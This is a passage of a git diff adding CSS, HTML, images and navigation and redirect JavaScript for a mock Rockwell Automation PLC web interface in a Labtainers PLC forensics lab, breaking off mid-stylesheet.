-0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/header.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/header.html new file mode 100644 index 000000000..c42fb2b14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/header.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + + + + + + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/header_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/header_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/header_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/header_files/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/header_files/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/header_files/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/navtree.html new file mode 100644 index 000000000..2d5a31006 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/navtree.html @@ -0,0 +1,267 @@ + + +Rockwell Automation Tree Navigation + + + + + + + + + + + +
+ +
+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/navtree_files/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/navtree_files/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/navtree_files/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/navtree_files/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/navtree_files/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/navtree_files/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/navtree_files/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/navtree_files/navtree.css new file mode 100644 index 000000000..6985e5d08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/navtree_files/navtree.css @@ -0,0 +1,33 @@ +IMG { + BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none +} +A:link { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:visited { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:unknown { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:hover { + DISPLAY: block; COLOR: #333333; BACKGROUND-COLOR: white; TEXT-DECORATION: none +} +.entry { + PADDING-RIGHT: 3px; PADDING-LEFT: 0px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 2px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.branch { + PADDING-RIGHT: 3px; DISPLAY: none; PADDING-LEFT: 15px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 1px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.scrollbarstyle { + SCROLLBAR-FACE-COLOR: #a0a0a0; SCROLLBAR-HIGHLIGHT-COLOR: #b7b6b6; SCROLLBAR-SHADOW-COLOR: #555555; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: #cccccc; scrollbar-3d-Light-Color: #EEEEEE; scrollbar-Dark-Shadow-Color: #222222 +} +A.treehead:link { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:visited { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:hover { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/navtree_files/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/navtree_files/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/navtree_files/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/navtree_files/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/navtree_files/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/navtree_files/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/redirect.html new file mode 100644 index 000000000..5226f9bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/redirect.html @@ -0,0 +1,9 @@ + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/redirect_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/redirect_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/chassisWho_files/redirect_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/css/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/css/navtree.css new file mode 100644 index 000000000..4850c13ef --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/css/navtree.css @@ -0,0 +1,80 @@ +img { border: none; } + +a:link, a:visited, a:focus +{ + display: block; + text-decoration: none; + color: #333333; +} + +a:hover +{ + display: block; + text-decoration: none; + background-color: white; + color: #333333; +} + +.entry +{ + color: #333333; + background-color: #bcbcbc; + + font-family: Verdana; + font-size: 10px; + + padding-top: 2px; + padding-left: 0px; + padding-bottom: 0px; + padding-right: 3px; + + cursor: pointer; cursor: hand; +} + +.branch +{ + color: #333333; + background-color: #bcbcbc; + + font-family: Verdana; + font-size: 10px; + + padding-top: 1px; + padding-left: 15px; + padding-bottom: 0px; + padding-right: 3px; + + display: none; + + cursor: pointer; cursor: hand; +} + +.scrollbarstyle +{ + scrollbar-Base-Color: #CCCCCC; + scrollbar-Face-Color: #A0A0A0; + scrollbar-Highlight-Color: #B7B6B6; + scrollbar-Arrow-Color: #FFFFFF; + scrollbar-3d-Light-Color: #EEEEEE; + scrollbar-Shadow-Color: #555555; + scrollbar-Dark-Shadow-Color: #222222; +} + +a.treehead:link { + font-family: verdana; + font-size: 10px; + color: #ffffff; + background: #214184; } + +a.treehead:visited { + font-family: verdana; + font-size: 10px; + color: #ffffff; + background: #214184; } + +a.treehead:hover { + font-family: verdana; + font-size: 10px; + color: #ffffff; + background: #214184; } + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/css/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/css/radevice.css new file mode 100644 index 000000000..820c0e2a0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/css/radevice.css @@ -0,0 +1,101 @@ +.devicename { +font-family : verdana, helvetica, arial, sans-serif; +font-size : 24px; +text-decoration : none; +color: #FFFFFF; +line-height: 1.25 +} + +.copy { +font-family : verdana, helvetica, arial, sans-serif; +font-size : 11px; +text-decoration : none; +color: #333333; +line-height: 1.25 +} + +.subhead { +font-family: verdana, helvetica, arial, sans-serif; +font-size: 14px; +font-weight: bold; +line-height : normal; +color: #333333 +} + +P,td,ul { +font-family: verdana, helvetica, arial, sans-serif; +font-size: 10px +} + +tr.row { height: 20px } + +body { +font-family: verdana, helvetica, arial, sans-serif; +font-size: 10px; +color: #333333 +} + +.tablehead { + font-family: verdana, helvetica, arial, sans-serif; + font-size: 10px; + color: #002569; + font : bold; +} + +.bodysinglespace { +font-family: verdana, helvetica, arial, sans-serif; +font-size: 10px; +font-style: normal; +line-height: normal; +font-weight: normal; +text-decoration: none; +color: #333333 +} + +.subhead2 { +font-family: verdana, helvetica, arial, sans-serif; +font-size: 12px; +font-weight: bold; +line-height: normal +} + +.copyright { +font-family: verdana, helvetica, arial, sans-serif; +font-size: 10px; +line-height: normal; +text-decoration: none; +color: #333333 +} + +a.tab:link { + font-family: Verdana, Arial, Helvetica, sans-serif; + font-size: 10px; + text-decoration: none; + color: #000000;} + +a.tab:visited { + font-family: Verdana, Arial, Helvetica, sans-serif; + font-size: 10px; + word-spacing: normal; + text-decoration: none; + color: #000000;} + +a.tab:hover { + font-family: Verdana, Arial, Helvetica, sans-serif; + font-size: 10px; + word-spacing: normal; + text-decoration: underline; + color: #000000;} + +/* Sortable table headers */ +table.sortable a.sortheader { + background-color: #BDC8DD; + color: #002569; + font-weight: bold; + text-decoration: none; + display: block; +} +table.sortable span.sortarrow { + color: black; + text-decoration: none; +} \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews.html new file mode 100644 index 000000000..57c6730ec --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews.html new file mode 100644 index 000000000..b21aea7cb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews.html @@ -0,0 +1,78 @@ + + +Rockwell Automation + + + + + + + +
+ + + + + + + + +
Data ViewsNew Data View
+ + + + + + + +

+ + + + + +
+ + + + + + + + +
DeleteEditView Name  View Filename  Number of Tags  Description  
+
+
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/menseponoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/menseponoff.gif new file mode 100644 index 000000000..8135de9c9 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/menseponoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/menubgoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/menubgoff.gif new file mode 100644 index 000000000..793d82e8a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/menubgoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/menuendoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/menuendoff.gif new file mode 100644 index 000000000..584111416 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/menuendoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/menustarton.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/menustarton.gif new file mode 100644 index 000000000..d1315876e Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/menustarton.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/noarr.bmp b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/noarr.bmp new file mode 100644 index 000000000..9037f96c1 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/noarr.bmp differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics/plc/_system/var/www/dataviews_files/dataviews_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; 